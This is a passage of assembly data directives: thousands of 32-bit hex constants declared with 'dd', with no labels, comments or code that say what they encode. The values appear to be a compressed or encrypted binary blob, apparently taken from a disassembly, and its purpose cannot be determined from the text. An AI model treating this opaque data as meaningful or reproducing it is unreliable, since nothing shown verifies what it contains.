dd 0D8E04861h, 0A3378700h, 5AB8E517h, 0F305090Ch, 0A46E1BC8h
dd 0D0B9750Bh
dd 549A82CCh, 3064E4FAh, 6F81A3D9h, 22023FC3h, 0FCB9C6D8h
dd 0CBB4E053h, 9AD21459h, 83D54DBh, 3279C400h, 97F2F634h
dd 814F6A00h, 0F3FBEC41h, 90E92436h, 98040CCh, 9B00A050h
dd 651723A5h, 0B53F28h, 2C252194h, 0BFE904C5h, 5C40802Ch
dd 134FC43Dh, 703A4B9Fh, 99A269C0h, 9118F49Ah, 93315DD6h
dd 4A39C028h, 0AFE610B2h, 7F22EB01h, 0DC0FCFAAh, 0CC5D5CE9h
dd 0C33C4862h, 0E3BE2580h, 16941D95h, 31DB1E02h, 0C9B129D7h
dd 20106690h, 0E83A301Ch, 552C009Dh, 0C7A8C6FDh, 0AA160471h
dd 93B1EF81h, 248A284Ch, 933090E4h, 0A090A1F3h, 6ADF0023h
dd 8447CCBDh, 1024AC0h, 0EA300B9Bh, 78106136h, 2A30E614h
dd 830B74CBh, 49988C2h, 188119F1h, 50F86645h, 0F1541B04h
dd 88FD29ECh, 9C00258Ch, 97728B38h, 1B2ED53h, 2698D2DBh
dd 0CCD81141h, 2949CB05h, 848893E0h, 30560052h, 0F7E4CC26h
dd 61025AC6h, 66F825Dh, 0A7945142h, 6AFB7490h, 2007891Eh
dd 0C8A33000h, 0F778896h, 355AEA10h, 0CB217E80h, 0ACB1E62Ah
dd 18FA2805h, 7B1B9C20h, 4A924ADCh, 7214F108h, 5A839438h
dd 0CE048D1Ch, 8E084C3Bh, 1B80BDC1h, 2571A43h, 0B08F00BFh
dd 5E150C70h, 110BFCA2h, 106140B6h, 8ADCD4h, 2725CD1h
dd 7F74A1A5h, 7D92E407h, 0F632AB13h, 440C6C20h, 85003669h
dd 0D78F2D2Eh, 1B7107Fh, 0A3ED829Ch, 4CECD9A8h, 0C40115E4h
dd 181CF9EAh, 6470AAE2h, 495BB877h, 2983585Dh, 0A8E1FA3Bh
dd 6C42462h, 0AD577119h, 175DB0h, 4A2D6D2Bh, 0A8E4D500h
dd 0EAE0B215h, 39449842h, 0ED17F8B1h, 0E09495h, 0C727761Ch
dd 8660FD15h, 239B9E90h, 8B0C001Bh, 0F7410EE1h, 18038AA0h
dd 0E091DB64h, 10E4BC8Eh, 27C507DFh, 3F11D563h, 69247440h
dd 1805B3EAh, 0F3F93F83h, 0BC9584C5h, 15F8F404h, 54B18249h
dd 0A06719h, 0E96B4E11h, 4827F0D6h, 22DEA853h, 8728DD02h
dd 424BAD13h, 16184504h, 731C22A8h, 74A2B0CCh, 0B8644CC0h
dd 0D8678500h, 7602DB93h, 20E49040h, 909473F5h, 0B282640h
dd 1F541EB1h, 0A753806Bh, 6A3E6012h, 57FB1909h, 0B08C4C4Ch
dd 0CD5B01D8h, 60FCE4D0h, 0C8F1FCD6h, 0A0F0181Ch, 5AD38DC0h
dd 0F82CBDh, 9C124A41h, 5A483F5h, 0E148D400h, 6696C4EFh
dd 0E2CF0390h, 10CCC1C5h, 0F3AD3900h, 0BADED8F8h, 0FE710Ah
dd 8294D076h, 0E4830796h, 5ABEE700h, 44CF8DCDh, 3CAD07F2h
dd 11610931h, 0E5DEB6C9h, 0F10301Fh, 0DCF09Fh, 805B9273h
dd 6DC33958h, 0ADFB7203h, 63164DCh, 5A3D348h, 955C808Eh
dd 735D02B4h, 808C75ABh, 2578CEA5h, 0E6620185h, 0C7283326h
dd 5C1D8CCh, 0FC39046Dh, 33CD0883h, 66A003FBh, 0F41E9AC2h
dd 39079709h, 0BDA05EC7h, 98017FB2h, 9EFA0122h, 1A70B916h
dd 0FBEAC025h, 0B303543Dh, 80A8B864h, 0C2E909FCh, 0CF01C0F1h
dd 88F094A3h, 0F6237100h, 91407C95h, 13440B37h, 7083F939h
dd 7781E9ECh, 985BEC8Bh, 0CD53ED03h, 12594FF3h, 0CCF660h
dd 157CAD17h, 69DCC0EEh, 0FC7FE800h, 0E35302h, 0DADBFA04h
dd 0E2315B77h, 0CBD0501Fh, 4C52D4h, 93BFF73h, 2695FE1Ah
dd 36AC303h, 16CCC085h, 728B17Dh, 0F95618E5h, 59261F74h
dd 0DD39280h, 7C833F7h, 1364FE65h, 235A80D0h, 7600D22Bh
dd 5FFA6D15h, 36652C7h, 0E9F1A174h, 691F12A3h, 7C40ADB0h
dd 0D605E17Bh, 9CBF01E4h, 65DD585Bh, 0FAF85184h, 0C54F2074h
dd 0A48B8F98h, 0CC8472E2h, 5CDC43A1h, 14314C59h, 0E0705844h
dd 2D6303AFh, 10DDF646h, 48E5AEE9h, 8A03A388h, 0C2235E21h
dd 5888E480h, 0D73E3D98h, 0F613573Ch, 0F700EB8Fh, 0AC02566Ah
dd 2872006Bh, 752C7652h, 0EA520DFDh, 0E060098h, 0FBE437F7h
dd 5B722934h, 5FB58188h, 20794305h, 8D0EE590h, 7E8F8A03h
dd 85009A2Ch, 726AC5EFh, 6C30C1BFh, 22FFCDC0h, 0A0D38B8h
dd 84A6F795h, 16734880h, 1F6D4581h, 81A1E5FFh, 0C2E2628Ch
dd 0A900FBD4h, 0BE0A61BCh, 52B16AFh, 0DD7CB8A4h, 61B9C5E9h
dd 0F204FED8h, 0AE007327h, 0E06E216h, 0FBD2C76Dh, 210B1833h
dd 0B8A84E0Ah, 8C00428Ah, 1CFD9712h, 0A046BC0h, 0C207BA87h
dd 4717E4FCh, 9731AB7Fh, 50205647h, 5D663CAFh, 0FB76AC0Eh
dd 0F8E56A02h, 0C3EEEC83h, 5343711Ch, 89B75F80h, 0B1AA61h
dd 1D8B88B9h, 6E641697h, 9C69BA29h, 48F6C0B2h, 7FB8CDF8h
dd 0B6B400DCh, 63B5AF9Ah, 0C713565Ch, 5B001908h, 5889CB45h
dd 71C260E7h, 1103D3DEh, 0A059F200h, 0E5EE36FFh, 1D60F86Ah
dd 0D27B785Ch, 0D7C430AEh, 7400DF7Eh, 198F8258h, 0EC3DA7A8h
dd 9B765CE2h, 0EE180457h, 7BC239E8h, 0FF04A876h, 3E2A4AD9h
dd 35AD108Ch, 0C29EBEEh, 0F8EA2D42h, 3036BD07h, 9CB00E19h
dd 26E6CBF9h, 47CCA170h, 5E756088h, 7975E471h, 2A005748h
dd 9D00D881h, 6BEC7413h, 0F2B440h, 6A76C028h, 0FDBEF305h
dd 68E18201h, 0A1694DE7h, 0C1EECD00h, 6ADD89C1h, 0D8E30F8Bh
dd 1EF375Fh, 763616A2h, 2165D27Ah, 0FB288208h, 68DDCE23h
dd 88D70428h, 0FC63DAC0h, 87F0A9h, 0A03A7361h, 0DC98A8B0h
dd 7D3EB200h, 568DE160h, 0F2050329h, 0D3934DE9h, 3BC9143h
dd 0F9D9A9DFh, 983D9022h, 0C7781CE9h, 41021C36h, 0A6056BB6h
dd 8CA844DBh, 0A30038FCh, 0FCB6AF1h, 1C3DD75h, 64087845h
dd 0D5EF2744h, 60202639h, 1602DFEAh, 3DE3E675h, 69847282h
dd 829F4847h, 0E620DC54h, 0E8293ABh, 0AE4BD33Ah, 60907A00h
dd 58045AFBh, 0F69E2276h, 7DE088h, 7266102Ah, 69D1B7E3h
dd 0FD2DFB00h, 0E3A7B83h, 0E300986Fh, 4ECC4714h, 0C38470h
dd 0F76E536Dh, 618703F9h, 5172A230h, 5BB32010h, 0EAD9C00Ch
dd 0F5077341h, 67ADEF01h, 44300E8Bh, 961F3162h, 0E5AC20A8h
dd 9A7E6AF9h, 76379000h, 0E763FBA2h, 0B2AA163Ch, 0D7100091h
dd 716CD84Fh, 6F280612h, 0D9F62005h, 15E7B470h, 0B03700DAh
dd 35813F19h, 2133CDFh, 44040764h, 0E4C15E62h, 6C60B4D2h
dd 208A03BEh, 0A22C63ADh, 0A043CC80h, 6490BC90h, 8CA128A4h
dd 0D2A117EAh, 0CF099CFh, 4C5C7779h, 0E0008A2Dh, 8B76D17Ch
dd 960ECD60h, 98674DD3h, 0F88AB999h, 11FCADh, 0E801D27Eh
dd 400E0CFDh, 7376C4A0h, 0D6681A06h, 1D901B4Ch, 1BC1C2Dh
dd 4E4C652h, 0CBC2172h, 83540AA0h, 7802ECD4h, 3524E0D1h
dd 0C28C8263h, 16AD03D8h, 0FCA59A81h, 90488BA4h, 5C768030h
dd 0BADCD695h, 2E09099Ch, 9C801AE8h, 1DF80CFAh, 0F5EE0800h
dd 32D0DCF2h, 1F75E072h, 306DF116h, 17116F98h, 3A017304h
dd 34D2D8E7h, 5B8129DFh, 0D8494216h, 83002E34h, 59A0BA0Eh
dd 504E8201h, 58DCC09Eh, 5383A46Bh, 0A116AAEFh, 0A7F8388Fh
dd 57089200h, 0EB497007h, 0FFE18301h, 75FCDD99h, 5C12A831h
dd 74864A3h, 0BEA0EB61h, 562831DBh, 0FFB4F005h, 52B11206h
dd 3029CB9Ch, 1C71DCF0h, 0D90003E7h, 0DFDE3E5Fh, 70106Bh
dd 0D766BAFDh, 0D6C096E5h, 30774A26h, 80D21188h, 0E395F4FAh
dd 2CA0C553h, 0E401B26Ah, 8FB1B305h, 0AD0EB01h, 5CE9C082h
dd 1D3B8AD1h, 0B069FF01h, 0E6EE0F39h, 0E1465187h, 8F143034h
dd 0F3140EBFh, 202CE984h, 13EB44E5h, 0FB01FAE8h, 6973B9AEh
dd 0F432E70Dh, 4A9F3001h, 0CD5C6F68h, 3E4C30EDh, 25FEA040h
dd 1C12EB5Bh, 83AD3004h, 0A97C1460h, 2898BB57h, 5E44D8ADh
dd 5230C0FAh, 7C0242BAh
dd 0BB4DFC00h, 61E9F320h, 0A2618E4h, 941E20AEh, 6846E600h
dd 6FE00CBBh, 25FA0071h, 0FBE7B931h, 0C872599Bh, 0B3B1A900h
dd 0A06F0BF6h, 0FEAEECB4h, 0D4F552FAh, 8FC31Fh, 24287AF9h
dd 6300D7A6h, 61CE0B41h, 35785Bh, 21096C52h, 6BEEF0E6h
dd 0C1918200h, 0D5D21AB1h, 0D9AA0356h, 0DEAEC4F5h, 0F60146E0h
dd 1A0908ECh, 6CE54Ch, 55CBD874h, 73B300BCh, 0C34DF970h
dd 42002136h, 9AA25269h, 3E726Fh, 3AC701EAh, 0F955C368h
dd 20AFAD30h, 5D0F6727h, 1380FC1Fh, 4D2990DBh, 168C1003h
dd 0C0FD6324h, 581DFB80h, 6600D86Dh, 95C52D5h, 0FE3ACCC7h
dd 3CAF830Ah, 9E4D168h, 38AB5249h, 0FE85550Fh, 12F82509h
dd 0E4DC2050h, 0FF268976h, 9D049454h, 1291BAh, 0C7585C2Ch
dd 8A16D01Ah, 70286794h, 0A0BB006Eh, 5DD1A8C6h, 62006FF1h
dd 0F42C052Ah, 240B0490h, 8F00AD3Dh, 7F0CCE38h, 4800A579h
dd 0C057124Ch, 1DA1C883h, 18727DDFh, 0E0F99FBh, 0CF00EA72h
dd 84FC9177h, 6E3C6529h, 995F90A7h, 146015h, 0A1D7954Dh
dd 1D10D450h, 1B006A26h, 8AE55109h, 7E28EC3h, 0CC2884CEh
dd 63E8A046h, 0D3328B73h, 400348BDh, 0F2EF94h, 0D9C7A28Fh
dd 91739A2Ah, 0C6100E03h, 7485F068h, 0E97A0169h, 874BBE51h
dd 0F915F9C8h, 24C32F0h, 0E21448E6h, 0A06B6045h, 80310011h
dd 6E08F8B3h, 820037BEh, 6BBA9447h, 927C6DB5h, 0D90D22B8h
dd 0D7E97313h, 84529430h, 89ED0058h, 0C23AC017h, 1A01FF99h
dd 9170F966h, 0B0508C0Ah, 0DA594Ah, 0C60E3872h, 81866EC1h
dd 6713CBE4h, 0F01EB94Eh, 68DC2462h, 9418CBD4h, 19C0380Ah
dd 0A81E30E2h, 39350089h, 4E561425h, 0B7017910h, 5D86F7DAh
dd 0FC356D65h, 7A7A6CC0h, 418BE7DCh, 2818964Dh, 0F50C0199h
dd 2185290Fh, 9ADC12D9h, 0EC81D68h, 0DD838C6Ah, 21124D5Fh
dd 0C4011A3h, 3FAD37FAh, 38DF0AD8h, 79471C2h, 1076201Ah
dd 725548E0h, 9120545Dh, 0F4130064h, 0E2D6C897h, 0C3250047h
dd 5F82BE3Fh, 0A10024E1h, 0E8FEFF8Ah, 58026A03h, 0C86454C9h
dd 0B48F2384h, 60400C5Fh, 9500F519h, 0E20197C5h, 0FCFD07h
dd 4F5C6DABh, 0F99B8068h, 0DD44F090h, 0AB7200D9h, 6F8E2E1Bh
dd 980A100Ah, 2866DC6Ah, 1674F000h, 295400Dh, 917D06Fh
dd 0B060649Fh, 6A5052DCh, 0DD446948h, 0D630A0EEh, 593E1DCAh
dd 4CAB43B2h, 81DD7644h, 42CEF24Dh, 0D2089ECh, 638C1Dh
dd 1732A53Ch, 0CAAFD2DCh, 0B60E2607h, 0C17293D1h, 8C184367h
dd 74C9152h, 0EB080A5h, 0FBE43CB7h, 0D8A40Bh, 35CEC2B8h
dd 0FE65707Ah, 5300FCE4h, 2F14180Ch, 6D0CC8Ah, 93CA790h
dd 7507426Bh, 0F5619DE1h, 18B0A83h, 0D4FFC749h, 0CCD75DFCh
dd 42005648h, 6CE38F96h, 3058A3DFh, 0E008C4B7h, 80A8D5E7h
dd 0D0170AD3h, 3E0246B4h, 6065EC0Bh, 6F80D9h, 0E8A9D88Eh
dd 345C94BFh, 27110900h, 6C6EE185h, 6A40C744h, 0B4EFC414h
dd 3500962Ch, 72265CCh, 77E669h, 488FFCCAh, 137DA10Ch
dd 0A1E8A0Eh, 969689CEh, 9CFD0744h, 0EE14E422h, 30EADA80h
dd 0E001786Fh, 9383F93Eh, 6831F251h, 64CC08h, 0C8C3D7C5h
dd 7B79976Eh, 5DE87A07h, 47411968h, 0D030AEAFh, 8AC83E76h
dd 9276A93Ah, 0C46C5914h, 31286492h, 301936FCh, 790E8FD2h
dd 0A04B499Ch, 402B6C50h, 0D88C01F1h, 6411BC4Dh, 24C0CA9Ah
dd 0C0014962h, 53ECB087h, 118A60C3h, 0C14C468h, 0F461860Ah
dd 65610600h, 6A670789h, 0B1D6E679h, 0A164004Ch, 36DF0415h
dd 0D70EC11Dh, 0E094AD0Eh, 73BEAE81h, 414D00F3h, 11EA8BC7h
dd 0C400F69Dh, 6959C3CBh, 0B86EA247h, 965D7D64h, 838ACA0h
dd 5783605Ch, 1D1FEC7h, 0D68FB71h, 698F95B3h, 0E801797Ch
dd 0AAA64D3Bh, 0D0E1A9D2h, 575D0840h, 8C6D58C2h, 0E7EE2B0Ch
dd 71021949h, 8A316AEBh, 97802F7Bh, 76553072h, 0F7FEF600h
dd 0F49B986Fh, 0D18500D7h, 0A4D8C44Dh, 0CA0F036Ch, 62B9AD5Ch
dd 400F9617h, 0E646559Ch, 0B1927188h, 0C8B60038h, 0FAEB289Fh
dd 89F622h, 0AF210C06h, 84900F72h, 37346100h, 3B0EF773h
dd 0CE80A2AEh, 0A61200B8h, 0B5106D11h, 8700BB36h, 70D69DF9h
dd 314268Bh, 5F2ED986h, 0C294F8D0h, 1C432840h, 0A4E6FBC2h
dd 97D66207h, 0F1B18560h, 3930A2C3h, 2E3E0927h, 0E8A0739Ch
dd 0F29B943Dh, 2584E550h, 0C88F3Fh, 9A95D810h, 4C1F5753h
dd 3C87F80Ah, 7ED6D026h, 0C7174ACEh, 5C0467F0h, 0ECE2684Dh
dd 3B201D8Fh, 0EFCA4F8Eh, 6114E100h, 0B3900106h, 0FF101DBDh
dd 0C7DA8587h, 0E8F02091h, 0E4A86BE0h, 0F10A7252h, 0C08C5817h
dd 83905002h, 1938E176h, 670F0D10h, 0D500DDE8h, 0F21D821Ch
dd 560B677h, 0BF9190DAh, 0A6ACCCF5h, 0AF3FD50Fh, 53CF01EFh
dd 11848B9Eh, 0B25FDCC6h, 0F0700954h, 7494AA71h, 97B8102Dh
dd 6C207F5h, 0C3FD17B6h, 93E1E262h, 3CC2EEDFh, 3DB5EC82h
dd 522C452h, 10EF05D2h, 90E74A84h, 0CE266750h, 0CA14B4B9h
dd 213C05ECh, 64D0F995h, 26EF904Bh, 420C9953h, 688ED668h
dd 0BC0784CBh, 0B1A4C0FBh, 7CBAD771h, 0EC921A1Fh, 3000F812h
dd 6DD8C138h, 0ADF61472h, 0E960BC16h, 10B1A303h, 5B01F0A4h
dd 0E7736DCBh, 0F9D093A9h, 0A7609C0h, 300BCC79h, 3800F064h
dd 2D06BDC7h, 0BC859Eh, 3F24F01h, 9A23FD6Eh, 948C1924h
dd 2716BF05h, 91573000h, 2848C742h, 89C0F090h, 8C0CCF6Ch
dd 0BCA17380h, 998B8220h, 0F3E02166h, 0AD01F976h, 5977536Dh
dd 9840A1C0h, 3E49C78Ah, 9721F190h, 34CAD090h, 64202Ch
dd 0C27EF781h, 20B9DB56h, 0AA4FCD00h, 0C8280678h, 9CB047Dh
dd 858FFE24h, 0BB1884F4h, 21309611h, 291490C4h, 0E100B00Ah
dd 7D699FCCh, 73DB0E9Bh, 2060A8E3h, 1D787403h, 612E3202h
dd 70A9FA28h, 5A39C2E8h, 38489FF0h, 9D009837h, 0C2BAB717h
dd 16264A2h, 795FB486h, 887596E3h, 0C0B6F140h, 652D76E1h
dd 8F48517Ah, 73810008h, 0FB6A21D7h, 8164B9Eh, 0AD80D128h
dd 613AA4CCh, 3A95F860h, 4A7A6F46h, 64001406h, 0A5CD522h
dd 21AF8018h, 155C54h, 8A58DF3Eh, 44A7EDD9h, 73227C0Bh
dd 104E0BFh, 0BCF08A17h, 1CFB6044h, 70E1CBh, 2316F4FCh
dd 949EED8Fh, 663F1D01h, 0A1CC8CC8h, 0E9F20D03h, 0E44914A3h
dd 50659E0h, 0A60E11F9h, 0FBF61E21h, 6057580Fh, 694F8AFAh
dd 299ED05Dh, 22B4F555h, 0B3E40AE8h, 50A170h, 0D24DFEDDh
dd 5F021B37h, 0FD1F0805h, 3B906082h, 0AC9A1643h, 0A290C4B4h
dd 0F746398Ch, 0A6AEDD00h, 8580B0CAh, 953E16ACh, 0E080C0EBh
dd 0D11C0E5Bh, 5246E96Ah, 1C998EEFh, 0FDAFD039h, 0D768F800h
dd 4832816h, 61B4EF00h, 0F01194E6h, 8B1B00B8h, 0AF63DCD9h
dd 16FEA7BFh, 783CDE00h, 9BEB51C1h, 0DFA20052h, 68839449h
dd 0AD02EABBh, 55CA3128h, 918CC0AEh, 5DC01E75h, 40C026C8h
dd 0EADBC77Ah, 3158B100h, 0D98DD36Fh, 0DA5502F0h, 6ADD0420h
dd 0A32A5C52h, 0F8009418h, 0CCF4EFF1h, 1E367759h, 982139h
dd 5B7E3E72h, 0E1308A5h, 0DCC2FB16h, 64B020FDh, 0EF003A8Eh
dd 297133FCh, 4C60BEB5h, 88403020h, 0A0A21282h, 16D890F6h
dd 4D05710Ch, 200E039Fh, 0E240E827h, 0B808CE01h, 2CA09648h
dd 562F5098h, 831D1800h, 0CEBB40B8h, 905D01F8h, 2CD69F07h
dd 67482082h, 2918544h, 5E5F35E9h, 585408FEh, 2B7DAD60h
dd 0F7DA375Dh, 74D2C081h
dd 414BDCC2h, 1E2E7828h, 16D0D557h, 0CC7A016Eh, 44FF684Ah
dd 6D08A0B4h, 4404C024h, 0F1087340h, 834D318Ah, 236BDC61h
dd 0FC0B4E94h, 7F464FAh, 2D2DF5Fh, 5D564015h, 6C00F480h
dd 0DEBC704Fh, 0B89A820Dh, 0A26F0584h, 0A216FC99h, 0FE410268h
dd 0A45BAB1Ah, 0A9408498h, 4BB49B80h, 59C83809h, 0CC758349h
dd 0A2989042h, 920A002Ch, 0D9B9F871h, 80A05DABh, 0FA888264h
dd 0AECE004Dh, 529E20AAh, 8A009D99h, 2AC834B3h, 3AE48D68h
dd 9A0269DFh, 0CECFC06Eh, 33F6C02Fh, 0E69DFC72h, 0A7941611h
dd 0C19421D2h, 904D00CFh, 80B8B68Fh, 46079B99h, 0D8B82B3Fh
dd 0FCF5307h, 152012A8h, 1019B4h, 0F9DBF5BDh, 0C3A27ECCh
dd 1B0C748h, 540FC106h, 7864E701h, 2C630062h, 0DC6F25A9h
dd 1A4CFC9Ah, 0C2FA8078h, 0D4BE7E6Ah, 0DC854090h, 4E18C83Eh
dd 8B66DA00h, 0AD76E8E4h, 0D64D07F1h, 801C2EA4h, 73DCA152h
dd 0E4D5A928h, 0DDDBE91Dh, 0B763FF00h, 0F61D0Eh, 22F0EF4Dh
dd 71F8A20Fh, 8BC76700h, 52984F43h, 7C9502C6h, 0E83DF0B2h
dd 97289CC0h, 0CDE0A207h, 0AF049AE6h, 6E0178A2h, 0E53E6FEAh
dd 0C079A2h, 749A555Fh, 1E4EA520h, 40793C9Bh, 0D273CC57h
dd 7B1698B7h, 0F800582Eh, 18E89B11h, 0FBF9139Fh, 0C8509508h
dd 69048E04h, 0C81DD821h, 0FB322CD0h, 0A305002Dh, 25F99D90h
dd 0BD009749h, 795256B5h, 0E38901B9h, 2C7AC840h, 4C6848B3h
dd 70AC840h, 0D75D7833h, 4FF8F0DBh, 0BE01AF18h, 99224783h
dd 0D6F81080h, 0E88758FDh, 8140F500h, 0C1716A79h, 0A9524E00h
dd 22BF12F8h, 9BC80495h, 0B7DE7C8Bh, 0E64B00E8h, 0E2C24E45h
dd 0ADCF0062h, 0F0CCD7C3h, 0B3035468h, 37762AD5h, 0F575801Eh
dd 8036144h, 0CCC8AC0Eh, 159A136h, 0FE2244h, 9ABC24FAh
dd 1F61D25Eh, 0D9435D00h, 76EE30F2h, 5894488Bh, 28958A80h
dd 0B01869B6h, 59D0C261h, 0D1D0006Ah, 5290F098h, 0B4260B9Fh
dd 6C005233h, 4BE6EEEFh, 0DE6D02E1h, 6907C1BCh, 0F040DC56h
dd 0EECF4D29h, 0DA0801E7h, 0E28CD972h, 0DD56300Fh, 0B01F6624h
dd 0E9695380h, 24EB03E4h, 4F5C3BB1h, 0C2951505h, 6E271488h
dd 0CDCA1650h, 0E960D6Fh, 0DBC19A1Fh, 0BBE0EFE3h, 0F3E4518Fh
dd 49340B16h, 0D1D6F00Fh, 6109FE13h, 2E07FB9Ch, 6A8B0021h
dd 80129BCh, 61F5F8F0h, 0B574309Eh, 0B0790B30h, 0E5908AD0h
dd 5CDC298Bh, 8F94844h, 2F8812B9h, 6A64885Dh, 596C33Eh
dd 0A2928B71h, 82532004h, 0BF208857h, 0D567A82Ch, 0E04A7400h
dd 2C66408Ah, 2458FC11h, 9B0069E4h, 301CD437h, 447AAC25h
dd 0F66C0044h, 712A89E4h, 1601B0F1h, 0C249AF01h, 0E2D4A963h
dd 57991637h, 21940091h, 0C7F7B04Ah, 0FD0B9600h, 66BF1DB5h
dd 847101EEh, 0C0D62758h, 0BED5FD4Dh, 1C90CB61h, 50B148h
dd 38F8F691h, 0AB4EB6A1h, 0D0587500h, 9C5CE1C6h, 0BC53E9Eh
dd 6EE967h, 9EC54EFh, 58A41A00h, 0EDB786C6h, 40DC257Bh
dd 6A4D5021h, 0E83842D2h, 94724B20h, 333B0043h, 0BD6B19CFh
dd 0E95D2A6h, 2F0151C4h, 357E0AA7h, 88252A8Eh, 4321681Ah
dd 0F781D00Ch, 929B3986h, 28C47225h, 0CE13A1Eh, 71BA7DC0h
dd 10F2561h, 0F9208F91h, 0CD94502Dh, 0E99991D2h, 0BB0D4100h
dd 2FF95F6Ch, 9682B500h, 12EA847Fh, 251600A7h, 0A98DBF59h
dd 0F785A53h, 8EAE0700h, 9050151h, 8914BBD7h, 0F88C23EFh
dd 0A2399090h, 0EC44CAC7h, 0ACC213E8h, 5080E1E3h, 0C88B1208h
dd 3D4D69F3h, 0A881F2B9h, 0F8F156E5h, 108C2695h, 0D8413D8h
dd 53FB41D2h, 8CED2B91h, 0D9732881h, 0E41BAB3Fh, 83167709h
dd 34200C2Ah, 0E8FDE30Eh, 885D0015h, 195BEC5h, 0D0B0728h
dd 91B20304h, 0D2608928h, 95C004DDh, 0E2736F59h, 0EA470094h
dd 7953EC9Eh, 256E007Dh, 8AB59C6Ch, 483D978Bh, 0C8073DE0h
dd 846A00C0h, 6020F09h, 0DC21FF57h, 68C8A068h, 9F0C2440h
dd 0AEF9136Fh, 0DAC40663h, 0B03864BBh, 0ADF281D5h, 0AF5D66A8h
dd 39D4633Ah, 5F1092D0h, 7001E898h, 9E244A35h, 709D902Fh
dd 6304224Dh, 6FFACB5Ch, 3C003CB2h, 0A4F8B63Eh, 0A2062926h
dd 9734AF92h, 161A15E6h, 0D908C031h, 0AD188E01h, 4A4A90A0h
dd 0DA102062h, 0A200F56Dh, 4247EC33h, 176B7Ch, 0E072D4Bh
dd 46ADD7C8h, 5368E30Eh, 1B54843Fh, 821848C7h, 7276AEFAh
dd 0D580D880h, 4302775Eh, 7E5A8A52h, 0BD31601Ah, 5559016Eh
dd 0E462B283h, 80103856h, 0B0AD0C8Fh, 981E009Eh, 250B92FBh
dd 71FA96B9h, 14FD730Bh, 345E70h, 0E6F8FADAh, 574B1FE7h
dd 39B3C460h, 3FB10095h, 251FA5Eh, 6D0123FFh, 80EC3D1h
dd 0E43253D9h, 87E01000h, 0EEC77A96h, 7F8A953Ah, 734F7074h
dd 20DD7832h, 6EFA7D84h, 0B88A9300h, 0EDDC5CECh, 574B0770h
dd 0A1CE9DF7h, 790B99FEh, 833E10BCh, 190B392h, 11FE5EADh
dd 8645F32h, 16912451h, 30F21680h, 0B3CB734h, 0F59608A0h
dd 4FBFD08h, 0C08D04EBh, 0C068AC05h, 9C4C9883h, 0B06C01Fh
dd 96D8C480h, 0FBF11209h, 21C0E45Bh, 669D7C0Eh, 8A9C046Dh
dd 9CF07A84h, 0F2820E6Dh, 0FE000874h, 0D89FF8D7h, 127E4807h
dd 525115A4h, 41D86AA7h, 7D905857h, 1128204Eh, 2A01785Fh
dd 92247254h, 35D83FC3h, 10E20012h, 3E52806Ch, 8890BEA3h
dd 108F4D25h, 4A78D168h, 8BD488C8h, 68003B4Eh, 3C7791ECh
dd 2AB400B7h, 98962C82h, 925A0172h, 17403C58h, 835F909h
dd 91802C78h, 0FA9602A8h, 267F8902h, 587CD457h, 0EC4059Ch
dd 2129D906h, 722616B8h, 70D24AF4h, 80187CA1h, 0B28CC7DEh
dd 57072EE5h, 0AC5EE165h, 94236F70h, 0F481401h, 0D9092024h
dd 0BCE89AEFh, 6EE86C6Ah, 0A0DBC025h, 23D1927Ch, 98C84B57h
dd 408A19F4h, 3B0C278h, 26F217Dh, 0FC85384h, 0A097152h
dd 5841CC9Dh, 0D7CA0DA8h, 2AD94B37h, 3DA1A860h, 0DCD601D3h
dd 0C96609E6h, 90C05319h, 8CA253D4h, 23950F00h, 0C46115AFh
dd 1D6D3848h, 0DC24762Fh, 7691740h, 5036070Ah, 151EF0A3h
dd 893B80D8h, 441D1666h, 1B9D9DFh, 0F69BC5DCh, 542F1AFBh
dd 0CA031200h, 0E7F98AC9h, 0D2E486E3h, 0C4E40758h, 180EFE2Ch
dd 44946865h, 0B48034B2h, 9537A4A6h, 7D5E3104h, 50C593D8h
dd 30AB90E4h, 2449D5EEh, 0E00F328h, 0A9C31CF8h, 0FC033E74h
dd 0BB471E67h, 97E5021Ah, 8511E64h, 6A118701h, 98215D67h
dd 27807828h, 0F5FAD2F6h, 0DA80489Ch, 86EC0949h, 741004Ch
dd 507BEA12h, 9A3F4F9Eh, 0F8E30944h, 0D8D0B0E7h, 2C8D4510h
dd 0E001C078h, 1D70A26Fh, 17A3C3B7h, 0CCA890EFh, 7F0108EEh
dd 1C2FFBFh, 31D4D99Bh, 4773206Dh, 90103Ah, 77E805F5h
dd 39857261h, 0FB803F9Bh, 60D42FE9h, 2B1D96A0h, 0BD408762h
dd 0B57B9C13h, 0DCAB0CFEh, 4D898869h, 80D06848h, 0BAFF726Dh
dd 19804B1h, 8C280FF4h, 14815374h, 21D6FA00h, 77B2FB09h
dd 742CD015h, 79E18037h, 0CEBD3E12h, 23694044h, 3C18A42h
dd 0E9EC18E6h, 72DEC089h, 52A20994h, 0BC483CF2h, 5C8A8E93h
dd 0E8D962F8h, 2DEDAC19h, 0C048B87Ch, 24B45E2Ah, 43B404C0h
dd 8901DBF0h, 714925E6h, 0DD702CD2h, 1FBEC14h, 0BD5FC5C3h
dd 3CFF9458h, 7838099Ch, 1F3498D9h, 0F43AF60Eh, 0FABBFCBCh
dd 5A9B012h, 0DD595B72h, 93A8A841h, 2A264C00h, 727362ABh
dd 485A0998h, 0FCD8E6D8h, 0DAF6E20h, 397FE7E1h, 94202B38h
dd 0B9DEB0h, 25EB29FDh
dd 2109F55Dh, 723948h, 81CD9211h, 4EA496E0h, 0A1ECC816h
dd 839C6F00h, 0C8A90D8Fh, 0CBD600B8h, 20FBF7E1h, 0B23F7DA6h
dd 0C0FE00ECh, 0E20E10AEh, 0C4F25108h, 2B8F9C02h, 0D0C8B061h
dd 1B27940Fh, 6C54A2D5h, 0DD9222CDh, 0C6804028h, 0E3320619h
dd 0CA8A0304h, 0CBAD5E5Dh, 0A7DC3DA8h, 0B7507264h, 66119CEDh
dd 74FA0337h, 0A8441D16h, 0D4AEFEh, 0A1728FA5h, 5AD08C9Bh
dd 0E904FD25h, 15C1C038h, 53A2422h, 4EECAC44h, 10049F49h
dd 0DB8E721Ah, 11E50191h, 0F1ED6A0Eh, 24D67C43h, 0D6CF641h
dd 0BEF0EAC3h, 588BA238h, 0FAC0B4FEh, 0D2269CCh, 0C059C0A2h
dd 85BE5D00h, 0C6656Fh, 0C906EDADh, 0E15B283Eh, 0F98E7700h
dd 0A51B049h, 0D030C4C3h, 3AB4E4A0h, 0F8BFE707h, 0C9B704B3h
dd 4E216B70h, 0A49C28F0h, 0C44CE59Ch, 9158BEE3h, 5D3810h
dd 7E84DF49h, 0A08643A1h, 71E511F0h, 885B50E9h, 0D0C68A60h
dd 0C5A9807h, 0AA57F6A6h, 0A808C5F0h, 99910134h, 1043F207h
